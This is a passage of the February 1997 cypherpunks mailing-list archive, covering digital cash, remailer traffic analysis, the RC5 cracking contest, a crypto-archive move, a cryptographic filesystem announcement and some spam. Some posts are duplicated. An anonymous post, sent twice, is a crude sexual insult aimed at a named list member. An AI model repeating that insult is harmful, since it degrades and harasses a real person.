kg5rg at kg5rg.ampr.org WWW - http://www.jpunix.com PGP 2.62 key for perry at jpunix.com is on the keyservers. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvphXlOTpEThrthvAQGUUQP+Ky4BkG/WYyVKCp0gAANWIGF6or7yd0nm IKCxRSMr2YU2znuEmks0DfxgxEeXMO5ZC7squdWkHnQJ6IDfBPydYn7KMNV+oUAu QjH9lTEVqnlJk515xSC5lCZwqTgMwHBZZhGJyvYlJam5A3EZLrALdFUFdFagKWRN 3dc5iLDuZ94= =pAwB -----END PGP SIGNATURE----- From bryce at digicash.com Thu Feb 6 15:30:23 1997 From: bryce at digicash.com (Bryce) Date: Thu, 6 Feb 1997 15:30:23 -0800 (PST) Subject: e$ plug, Moderation, Cypherpunks as a bird in the bush Message-ID: <199702062330.PAA02831@toad.com> -----BEGIN PGP SIGNED MESSAGE----- A million monkeys operating under the pseudonym "Greg Broiles " typed: > > I think that Bob's e$ list should be considered a viable alternative to the > other two filtered cpunks lists; I recommend it to people looking for a > moderated alternative to the list. I like "e$", although I seem to be too busy to contribute regularly to _any_ forum recently. (I'm always available for Real Life Meetings in local bars, though... Anybody going to visit Amsterdam soon?) > I've been meaning to write up a long message explaining why I think I'm about > to drop off of the list. It's peculiar to spend a lot of time discussing > things with a group of people over the course of several years and then > disappear without saying why. But I'm having trouble coming up with anything > more profound than "it's not interesting any more." Hey, that's a sufficiently profound "death of cpunks" statement for me. I feel the same way-- though I've never been a very active participant, I really dropped out a few months ago. I feel like there is more to learn and discuss. _Much_ more. It keeps me awake at night sometimes, not knowing exactly what it is but waiting for it. But I've had my fill of cypherpunks, and my Objectivist newsgroup (humanities.philosophy.objectivism), and simplistic libertarianism. Keep in touch. :-) Bryce Not speaking for DigiCash. PGP sig follows -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2 iQB1AwUBMvpXvUjbHy8sKZitAQGJ4gL+LClz+b4VwAQdFra5GowzNDOqKEqnhpib yri3mEEFKU9x35J9Dqu8XHu/TQOJuB5S8LdAmtesvLuKEGkjpVKPHXrSDik5efyp rWY9pJbjq/UBqYosCgx2PzHILTsh/UMw =ZVwu -----END PGP SIGNATURE----- From markh at wimsey.bc.ca Thu Feb 6 15:56:33 1997 From: markh at wimsey.bc.ca (Mark C. Henderson) Date: Thu, 6 Feb 1997 15:56:33 -0800 (PST) Subject: Wimsey cryptography archive is moving to Mindlink Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Subject: Wimsey cryptography archive is moving to Mindlink The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving to MIND LINK (http://www.mindlink.net). You can now access the contents of the cryptography archive at its new location ftp://ftp.mindlink.net/pub/crypto The archive has been at Wimsey for about five years. I'd like to thank the folks at Wimsey for providing disk space, bandwidth, technical expertise, and for supporting the distribution of ~140MB of cryptography papers and software on the Internet. As with Wimsey, MIND LINK is providing disk space and bandwidth for the archive at no charge to me or the users of the archive. Thanks should go to MIND LINK for providing this as a service to the Internet community. Two small notes: 1. I assume sole responsibility for the contents of the archive. The folks at MIND LINK are generously providing facilties at no charge above their usual access fees, but they are not necessarily even aware of the exact contents of the archive. My only connection with MIND LINK is as a customer. 2. Please do not attempt to use the MIND LINK crypto archive to violate the laws of the U.S. or Canada. Distribution of cryptographic software is limited to U.S./Canadian persons in the U.S./Canada. All access to the site is logged. Any problems or questions? Please feel free to contact me at mark_henderson at mindlink.net -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x 2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM Lr+wyuw8WS8= =NilL -----END PGP SIGNATURE----- -- Mark Henderson -- markh at wimsey.bc.ca, mark_henderson at mindlink.net PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1 A1 2A 2A 06 4A D5 92 46 http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive From rah at shipwright.com Thu Feb 6 15:58:18 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 6 Feb 1997 15:58:18 -0800 (PST) Subject: FinCEN hates cybercash, who 'da thunk it... In-Reply-To: <199702062301.PAA02200@toad.com> Message-ID: At 3:47 pm -0500 2/6/97, Duncan Frissell wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >>But Stanley Morris of the United States Treasury, who chaired a FAFT >>working group which drafted the report, told a news conference that >>law enforcement agencies would face 'very major new challenges' if new >>technology moves the world "to a cashless society, beyond banks, cash >>and borders." > >Oh No! First they told us that they were all in favor of a cashless society >because they could track all the transactions. It was their Orwellian >Dream. Now Nirvana has almost arrived and they're afraid of it. Can't >they make up their minds? > >I noticed the problem long about 1975 when I noticed that the spread of >ATM cards was actually the spread of a bearer instrument and would >not satisfy the control needs of the regulatory types. In a geodesic network, any node which tries to process all the traffic chokes. The network then routes, to paraphrase Gilmore, around it. :-). I remember this pravda chart at CFP a year ago, where FinCEN was "demonstrating" (in a chart with no Y-axis) their "increased supervisory load" due to the exponentiating use of point to point electronic transaction settlement. Be careful whatcha wish for fellas. An old Texas A&M Aggie joke about a poor monkey trying to put the cork back into a pig's butt comes to mind... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From stewarts at ix.netcom.com Thu Feb 6 16:07:34 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 6 Feb 1997 16:07:34 -0800 (PST) Subject: mail-to-news fun In-Reply-To: <199702061921.LAA28330@toad.com> Message-ID: <3.0.1.32.19970206160606.00642a10@popd.ix.netcom.com> At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote: >On Wed, 5 Feb 1997 stewarts at ix.netcom.com wrote: >> People don't read mail headers or disclaimers at the bottom, >> and putting disclaimers like that into message text for >> email exposes the message to traffic analysis.) >How does putting it in the message expose it to traffic analysis but not >putting it in a header? Suppose you're sending a message on a remailer chain of you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target and Bob puts lots of disclaimers in his remailer's outgoing messages. Anything Bob puts in a header will get stripped out by Charlie, so it's no problem. However, if Bob tacks a disclaimer as the bottom text in the outgoing message, when Eve sends mail to Fred she'll also see the disclaimer that The message was sent by an anonymous user through the remailer at Bob's Remailer Shack. Bob doesn't know who sent it, and doesn't keep records, so he can't squash the user, but he can block mail to you if you don't want any more anonymous email. Don't believe everything you read! so she'll know to check the FBI Illegal Wiretap files for Bob. Some comments and backtracking 0) Of course, if you want to avoid traffic analysis, sending unencrypted email is pretty stupid, and only the next hop is going to see a disclaimer that you append after the encrypted part of the message. 1) Prepending the disclaimer to the message body is pretty unfriendly to the :: syntax, and not all that great for PGP encrypted messages either. Pretend I really just suggested appending it at the end, since that's what I would have said if I'd been thinking :-) On the other hand, I suppose that you can see whether the next hop is a Type I remailer by looking for the :: or ##. 2) Cutmarks would be a nice fix, but they require too much attention to detail to get right, in case the next hop is a remailer. So maybe you _should_ always put in the disclaimer, at the end, with a reminder to always encrypt your remailer-chain mail if you want to avoid traffic analysis :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From boursy at earthlink.net Thu Feb 6 16:34:05 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Thu, 6 Feb 1997 16:34:05 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins In-Reply-To: <19970206221726.11238.qmail@anon.lcs.mit.edu> Message-ID: <32FA7951.38A3@earthlink.net> lcs Remailer Administrator wrote: > > Because of recent attacks on the remailer network and mail2news > gateways, I may loose access to at least one of the news servers I > currently feed news to from my mail2news gateway. > > If you are a news administrator, believe in free speech and anonymity, > and you would like to help the cause, please consider giving transfer > (aka "IHAVE" or "hosts.nntp") privileges to this machine. You will > not be the only server, and so do not need to worry about being the > point of entrance of mail2news articles to Usenet. > > Please contact me if you can help. Thank you. > > For those who oppose the existence of mail2news gateways, you should > know that we are taking steps to limit the abuse. However, doing so > without in any way limiting articles that abide by the usage policy is > tricky, and must be done carefully. Please be patient. I'm writing from the Freedom Knights list but am in no way representing them. What exactly do you mean by 'taking steps to limit the abuse'? Personally I think much of what is called abuse is nonsense and that all posts, with the exception of cancels/NoCems should be propogated regardless of content (including what is currently referred to as spam). Also--could you forward to the Freedom Knights list a copy of your 'usage policy' and impressions on the Freedom Knights two FAQs. Thanks, Steve From markm at voicenet.com Thu Feb 6 16:58:56 1997 From: markm at voicenet.com (Mark M.) Date: Thu, 6 Feb 1997 16:58:56 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702070058.QAA04388@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Thu, 6 Feb 1997, Vin McLellan wrote: > >Date: Thu, 30 Jan 1997 20:10:36 -0500 > >To: "Wright Larry" > >From: "Paul A. Strassmann" > >Subject: Further to Goldberg's Cracking Accomplishments > >Gentlemen: > > > >As I suspected (see earlier private comment), the > >highly promoted RSA cracking contest offered > >a number of clues that ordinarly would not be > >volunteered by info-terrorists or info-criminals to > >IW Defense teams. > > > >These clues made the cracking significantly easier, > >because it made it possible to eliminate an enormous > >range of possible searches. Hmm..., word size, number of rounds, and key size are "clues"? At least he won't be able to make this claim when DES is cracked. OTOH, he might consider a known IV to be information not available under "infowar conditions." Apparently, "Info Warriors" aren't supposed to be familiar with open standards. > >Clue #3: (a giveway!) > > > > " ... For each contest, the unknown plaintext message is preceded by three > > known blocks of text that contain the 24-character phrase "The > > unknown message is: .....". He considers a known-plaintext attack to be "a giveway![sic]"? It seems that this guy could use a few clues himself. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvpmNCzIPc7jvyFpAQFr1wgAv9qRp1JEDe6qMLGcgs/4rJnPmUkSIDoM u769VJRO3XHYS+gIEu/A/f/jS9Mr7inqkaM/E5BhQeD2NuzSgI7IWENqvshlgeFF DrSdKqDkvwTNjaPeLvb3WoFMMSuvlVj78pYawDEFwEmhQkccE/h+I1obgCE3juk9 lw/Lto7qdA+nVnyQ0PuICbIV6lksbVTcfBG/UF5MD7HsnJzPUKReFuyPrWo6S5+4 kc1/yUjq5ABL79gNxEZmUTA6zdjwjj11x2vL1cvQP8t3PZ1K5V/bay2FlSrXvNF9 +h0GvYpPQ/0rd6whYcgCbls/5KB+GYxaCXPWvh8sFYZZBP0IFYBjiw== =ltSt -----END PGP SIGNATURE----- From markh at wimsey.bc.ca Thu Feb 6 16:58:57 1997 From: markh at wimsey.bc.ca (Mark C. Henderson) Date: Thu, 6 Feb 1997 16:58:57 -0800 (PST) Subject: Wimsey cryptography archive is moving to Mindlink Message-ID: <199702070058.QAA04389@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Subject: Wimsey cryptography archive is moving to Mindlink The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving to MIND LINK (http://www.mindlink.net). You can now access the contents of the cryptography archive at its new location ftp://ftp.mindlink.net/pub/crypto The archive has been at Wimsey for about five years. I'd like to thank the folks at Wimsey for providing disk space, bandwidth, technical expertise, and for supporting the distribution of ~140MB of cryptography papers and software on the Internet. As with Wimsey, MIND LINK is providing disk space and bandwidth for the archive at no charge to me or the users of the archive. Thanks should go to MIND LINK for providing this as a service to the Internet community. Two small notes: 1. I assume sole responsibility for the contents of the archive. The folks at MIND LINK are generously providing facilties at no charge above their usual access fees, but they are not necessarily even aware of the exact contents of the archive. My only connection with MIND LINK is as a customer. 2. Please do not attempt to use the MIND LINK crypto archive to violate the laws of the U.S. or Canada. Distribution of cryptographic software is limited to U.S./Canadian persons in the U.S./Canada. All access to the site is logged. Any problems or questions? Please feel free to contact me at mark_henderson at mindlink.net -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x 2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM Lr+wyuw8WS8= =NilL -----END PGP SIGNATURE----- -- Mark Henderson -- markh at wimsey.bc.ca, mark_henderson at mindlink.net PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1 A1 2A 2A 06 4A D5 92 46 http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive From rah at shipwright.com Thu Feb 6 17:00:36 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 6 Feb 1997 17:00:36 -0800 (PST) Subject: FinCEN hates cybercash, who 'da thunk it... Message-ID: <199702070100.RAA04399@toad.com> At 3:47 pm -0500 2/6/97, Duncan Frissell wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >>But Stanley Morris of the United States Treasury, who chaired a FAFT >>working group which drafted the report, told a news conference that >>law enforcement agencies would face 'very major new challenges' if new >>technology moves the world "to a cashless society, beyond banks, cash >>and borders." > >Oh No! First they told us that they were all in favor of a cashless society >because they could track all the transactions. It was their Orwellian >Dream. Now Nirvana has almost arrived and they're afraid of it. Can't >they make up their minds? > >I noticed the problem long about 1975 when I noticed that the spread of >ATM cards was actually the spread of a bearer instrument and would >not satisfy the control needs of the regulatory types. In a geodesic network, any node which tries to process all the traffic chokes. The network then routes, to paraphrase Gilmore, around it. :-). I remember this pravda chart at CFP a year ago, where FinCEN was "demonstrating" (in a chart with no Y-axis) their "increased supervisory load" due to the exponentiating use of point to point electronic transaction settlement. Be careful whatcha wish for fellas. An old Texas A&M Aggie joke about a poor monkey trying to put the cork back into a pig's butt comes to mind... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From boursy at earthlink.net Thu Feb 6 17:11:17 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Thu, 6 Feb 1997 17:11:17 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins Message-ID: <199702070111.RAA04676@toad.com> lcs Remailer Administrator wrote: > > Because of recent attacks on the remailer network and mail2news > gateways, I may loose access to at least one of the news servers I > currently feed news to from my mail2news gateway. > > If you are a news administrator, believe in free speech and anonymity, > and you would like to help the cause, please consider giving transfer > (aka "IHAVE" or "hosts.nntp") privileges to this machine. You will > not be the only server, and so do not need to worry about being the > point of entrance of mail2news articles to Usenet. > > Please contact me if you can help. Thank you. > > For those who oppose the existence of mail2news gateways, you should > know that we are taking steps to limit the abuse. However, doing so > without in any way limiting articles that abide by the usage policy is > tricky, and must be done carefully. Please be patient. I'm writing from the Freedom Knights list but am in no way representing them. What exactly do you mean by 'taking steps to limit the abuse'? Personally I think much of what is called abuse is nonsense and that all posts, with the exception of cancels/NoCems should be propogated regardless of content (including what is currently referred to as spam). Also--could you forward to the Freedom Knights list a copy of your 'usage policy' and impressions on the Freedom Knights two FAQs. Thanks, Steve From stewarts at ix.netcom.com Thu Feb 6 17:11:19 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 6 Feb 1997 17:11:19 -0800 (PST) Subject: mail-to-news fun Message-ID: <199702070111.RAA04677@toad.com> At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote: >On Wed, 5 Feb 1997 stewarts at ix.netcom.com wrote: >> People don't read mail headers or disclaimers at the bottom, >> and putting disclaimers like that into message text for >> email exposes the message to traffic analysis.) >How does putting it in the message expose it to traffic analysis but not >putting it in a header? Suppose you're sending a message on a remailer chain of you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target and Bob puts lots of disclaimers in his remailer's outgoing messages. Anything Bob puts in a header will get stripped out by Charlie, so it's no problem. However, if Bob tacks a disclaimer as the bottom text in the outgoing message, when Eve sends mail to Fred she'll also see the disclaimer that The message was sent by an anonymous user through the remailer at Bob's Remailer Shack. Bob doesn't know who sent it, and doesn't keep records, so he can't squash the user, but he can block mail to you if you don't want any more anonymous email. Don't believe everything you read! so she'll know to check the FBI Illegal Wiretap files for Bob. Some comments and backtracking 0) Of course, if you want to avoid traffic analysis, sending unencrypted email is pretty stupid, and only the next hop is going to see a disclaimer that you append after the encrypted part of the message. 1) Prepending the disclaimer to the message body is pretty unfriendly to the :: syntax, and not all that great for PGP encrypted messages either. Pretend I really just suggested appending it at the end, since that's what I would have said if I'd been thinking :-) On the other hand, I suppose that you can see whether the next hop is a Type I remailer by looking for the :: or ##. 2) Cutmarks would be a nice fix, but they require too much attention to detail to get right, in case the next hop is a remailer. So maybe you _should_ always put in the disclaimer, at the end, with a reminder to always encrypt your remailer-chain mail if you want to avoid traffic analysis :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From lucifer at dhp.com Thu Feb 6 17:18:41 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Thu, 6 Feb 1997 17:18:41 -0800 (PST) Subject: [ANNOUNCEMENT] Secure checksums Message-ID: <199702070118.UAA32554@dhp.com> Timothy C[reep] May sits at his terminal dressed in five-inch stiletto heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a black man responds to one of his inane rants. __ ___|[]| Timothy C[reep] May \__|______| /-(o_o_o_o) From stewarts at ix.netcom.com Thu Feb 6 17:24:21 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 6 Feb 1997 17:24:21 -0800 (PST) Subject: "Why am I being completely censored"? In-Reply-To: <199702062312.PAA02488@toad.com> Message-ID: <3.0.1.32.19970206172229.00634188@popd.ix.netcom.com> At 03:47 PM 2/6/97 -0600, Firebeard wrote: >>>>>> John Gilmore writes: > >JG> Hmm. Your message that I just received, about this problem, was >JG> cc'd to cypherpunks. It did not make it into the >JG> cypherpunks-unedited list. In examining the message header >JG> itself, there is an "Approved: yes" line. My guess is that your >JG> attempt to be too tricky has screwed you. > > It appears that this was the problem. Deal with a >self-moderated newsgroup, and ent up with self-censorship. *shrug*. >I wish that John had helped to resolve the problem before I made it >public, but that's life. John does have other things to do with his time, you know :-) If you're abusing email syntax to fake out specialized mail/news handling, you shouldn't be surprised if it doesn't always fake out the parts of the system you were trying to fake out.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From adam at homeport.org Thu Feb 6 18:04:15 1997 From: adam at homeport.org (Adam Shostack) Date: Thu, 6 Feb 1997 18:04:15 -0800 (PST) Subject: Transparent Cryptographic File System (fwd) Message-ID: <199702070201.VAA29374@homeport.org> Haven't seen this on cpunks. ----- Forwarded message from Kenneth Stailey ----- >From xtech-request at zephyr.ccrc.wustl.edu Thu Feb 6 18:26:49 1997 Date: Thu, 6 Feb 1997 16:47:28 -0500 (EST) Message-Id: <199702062147.QAA29127 at duality.gnu.ai.mit.edu> From: Kenneth Stailey To: tech at openbsd.org Subject: Transparent Cryptographic File System Sender: owner-tech at openbsd.org Precedence: bulk Hi, I thought that there might be some interest in looking at this: From: ermmau at ios.diaedu.unisa.it (Ermelindo Mauriello) Subject: New release of TCFS (Transparent Cryptographic File System) Newsgroups: comp.os.linux.announce Date: Thu, 16 Jan 1997 07:14:53 GMT Followup-To: comp.os.linux.development.system Organization: Universita' di SALERNO - Dip. Informatica ed Appl. Path: ai-lab!bloom-beacon.mit.edu!howland.erols.net!newsfeed.internetmci.com!zeke.ebtech.net!loki.tor.hookup.net!omega.metrics.com!liw.clinet.fi!not-for-mail Lines: 51 Approved: linux-announce at news.ornl.gov (Lars Wirzenius) Message-ID: NNTP-Posting-Host: localhost X-Server-Date: 16 Jan 1997 07:15:02 GMT X-Original-Date: 15 Jan 1997 14:51:36 GMT X-Auth: PGPMoose V1.1 PGP comp.os.linux.announce iQBVAwUBMt3VcjiesvPHtqnBAQECXwH+PKb4gmvn2sSqa3caegRau0cHJ9Lx9hII YG0YmSbwPf+oFV4ie4omldPpTO3VjGXSkY11zIof6b3HzY3dNzajyQ== =aNko -- Start of PGP signed section. We are glad to announce that a new release of TCFS (Transparent Cryptographic File System) for Linux is now available. TCFS is a cryptographic filesystem developed at the Universita' di Salerno (Italy). It operates like NFS but allows users to use a new flag X to make the files secure (encrypted). In theis release files are encrypted using DES. The new release works in Linux kernel space, and may be linked as a module to Linux 2.0.x kernels. A mailing-list is available at tcfs-list at mikonos.dia.unisa.it. Documentation is available at http://mikonos.dia.unisa.it/tcfs. Here you can find instructions for installing TCFS and docs on how it works. Mirror sites are available at http://www.globenet.it/~ermmau/tcfs and http://www.inopera.it/~ermmau/tcfs \|||/ (o o) ----------------------ooO--O--Ooo------------------------------- ! //////// //// //// Ermelindo Mauriello ! ! // // /// // e-mail: ermmau at edu-gw.dia.unisa.it ! ! ///// // / // ermmau at pantelleria.dia.unisa.it ! ! // // // ermmau at globenet.it ! ! /////// // // ermmau at inopera.it ! !--------------------------------------------------------------! ! LINUX - The choice of a GNU generation !!! ! ---------------------------------------------------------------- -- End of PGP signed section. ----- End of forwarded message from Kenneth Stailey ----- -- "It is seldom that liberty of any kind is lost all at once." -Hume From jimbell at pacifier.com Thu Feb 6 18:38:11 1997 From: jimbell at pacifier.com (jim bell) Date: Thu, 6 Feb 1997 18:38:11 -0800 (PST) Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997") Message-ID: <199702070237.SAA02731@mail.pacifier.com> At 12:27 PM 2/6/97 -0500, Robert Hettinga wrote: > >This attempted legislation (see forward, below) is a blessing in disguise. > >It's just more proof that book-entry commerce isn't going to work on the >net in the long run. [deleted] >+ SET, Cybercash/coin, SSL, and other encrypted-channel book entry >methods, is a derigeble. You're flying, but you're using minimally strong >crypto like little aerodynamic fins to push the giant gas bag of book-entry >settlement around. Now, is that a helium or a HYDROGEN dirigible?!? Jim Bell jimbell at pacifier.com From zinc at zifi.genetics.utah.edu Thu Feb 6 18:47:44 1997 From: zinc at zifi.genetics.utah.edu (zinc) Date: Thu, 6 Feb 1997 18:47:44 -0800 (PST) Subject: lead remailer is shut down Message-ID: The following message is a courtesy copy of an article that has been posted as well. -----BEGIN PGP SIGNED MESSAGE----- hi, i came in today to find they (university system admins) had pulled the plug on my machine. this is all because some luser spammed usenet using the remailer on my machine. thanks a lot. so, the lead remailer is gone for good; it lasted almost exactly one year. it was nice while it lasted. - -patrick finerty biochem grad student, u of utah - -- "Those that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- Benjamin Franklin (1773) finger zinc-pgp at zifi for PGP key zifi runs LINUX 2.0.28 -=-=-=WEB=-=-=-> http://zifi.genetics.utah.edu -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L 6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE 4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt clfXhusEPPg= =0fse -----END PGP SIGNATURE----- From roy at sendai.scytale.com Thu Feb 6 19:23:36 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Thu, 6 Feb 1997 19:23:36 -0800 (PST) Subject: ITAR and Paper ROM In-Reply-To: <199702061456.GAA24462@toad.com> Message-ID: <970206.175211.5I9.rnr.w165w@sendai.scytale.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, stewarts at ix.netcom.com writes: > More practically, sort of, there was the Cauzin Softstrip Reader, > which cost about $200 and held enough data to distribute programs > back when computers and programs were much smaller; a few PC magazines > tried distributing programs by printing them in the back that way. > Cute, but not cute enough to stick around very long. Cauzin was bought by Eastman Kodak shortly after they started advertising in the big rags (like _Byte_, which printed a test strip a month or so before Cauzin made their big advertising push). Cauzin was even putting freeware programs in their ads. At that time, Kodak was just entering the soon-to-be-lucrative magnetic media market with their floppy disk line. I'd say they were bought and buried. - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvpwFxvikii9febJAQHI3wP9HrDosf/DQIkbNaJADxqGOaE4fskX3HEP nznkhaMb4WXbCQUg+BNtyh/u15n6M2eA259uHExm1S+//8VENcGC0hmINdsehBJX LcehDOQMpbbj/lSdd/rC0raj7U38wuXZn84xi/bdbXWKwXzVKWaq3AwqRgLm9aBT 9NS0RZOiPEY= =PFiP -----END PGP SIGNATURE----- From shamrock at netcom.com Thu Feb 6 19:28:22 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 6 Feb 1997 19:28:22 -0800 (PST) Subject: anonymous remailers Message-ID: <3.0.32.19970206192301.006e2260@192.100.81.136> At 09:19 PM 2/6/97 +0000, Charley Musselman wrote: >C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup >and suggested that he use an anonymous remailer to post to the group, >he laughed and said, "Who do you suppose runs the remailers? ATF, >FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does >anyone know the answer? Specifically, how can we choose a trusted >remailer? There is no such thing as a trusted remailer, unless you know and trust the remailer operator. That's why one should use remailer chains. If only one remailer in the chain is run by a non-TLA operator, you are safe. Just for the record, I know numerous remailer operators. I am convinced that neither of them works for any TLA in any way. YMMV. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From dlv at bwalk.dm.com Thu Feb 6 19:40:20 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 19:40:20 -0800 (PST) Subject: Deloitte-Touche? In-Reply-To: <199702062042.MAA29621@toad.com> Message-ID: Adam Back writes: > > Mark writes: > > I'm almost certain that Murray is a consultant rather than > > or in addition to an accountant. He's been saying these things > > William Murray used to post frequently to sci.crypt, alt.security.pgp, > etc when I read those forums. He also I think wrote the forword for > one of the books on using PGP. One of my first flame wars on Internet, some 15 years ago, was with William H. Murray over my criticism of DES. How time flies. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From lucifer at dhp.com Thu Feb 6 19:40:46 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Thu, 6 Feb 1997 19:40:46 -0800 (PST) Subject: [ANNOUNCEMENT] Secure checksums Message-ID: <199702070340.TAA07843@toad.com> Timothy C[reep] May sits at his terminal dressed in five-inch stiletto heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a black man responds to one of his inane rants. __ ___|[]| Timothy C[reep] May \__|______| /-(o_o_o_o) From guyh at att.net.hk Thu Feb 6 19:40:49 1997 From: guyh at att.net.hk (guyh at att.net.hk) Date: Thu, 6 Feb 1997 19:40:49 -0800 (PST) Subject: M-Net Express Message-ID: <199702070340.TAA07854@toad.com> WELCOME TO M-NET'S CUT-PRICE TELEPHONE SERVICE We supply worldwide the SAME lines and services that one can buy from local phone companies and providers, BUT FOR LESS! We have purchased millions of minutes from AT&T, Sprint, MCI, British Telecom, and 20 other companies. Call from any country! NO MINIMUM CHARGE! 100% SATISFACTION GUARANTEED! For full details; mailto:guyh at att.net.hk?subject=MNET a BLANK message. From jimbell at pacifier.com Thu Feb 6 19:41:07 1997 From: jimbell at pacifier.com (jim bell) Date: Thu, 6 Feb 1997 19:41:07 -0800 (PST) Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997") Message-ID: <199702070341.TAA07866@toad.com> At 12:27 PM 2/6/97 -0500, Robert Hettinga wrote: > >This attempted legislation (see forward, below) is a blessing in disguise. > >It's just more proof that book-entry commerce isn't going to work on the >net in the long run. [deleted] >+ SET, Cybercash/coin, SSL, and other encrypted-channel book entry >methods, is a derigeble. You're flying, but you're using minimally strong >crypto like little aerodynamic fins to push the giant gas bag of book-entry >settlement around. Now, is that a helium or a HYDROGEN dirigible?!? Jim Bell jimbell at pacifier.com From stewarts at ix.netcom.com Thu Feb 6 19:41:16 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 6 Feb 1997 19:41:16 -0800 (PST) Subject: "Why am I being completely 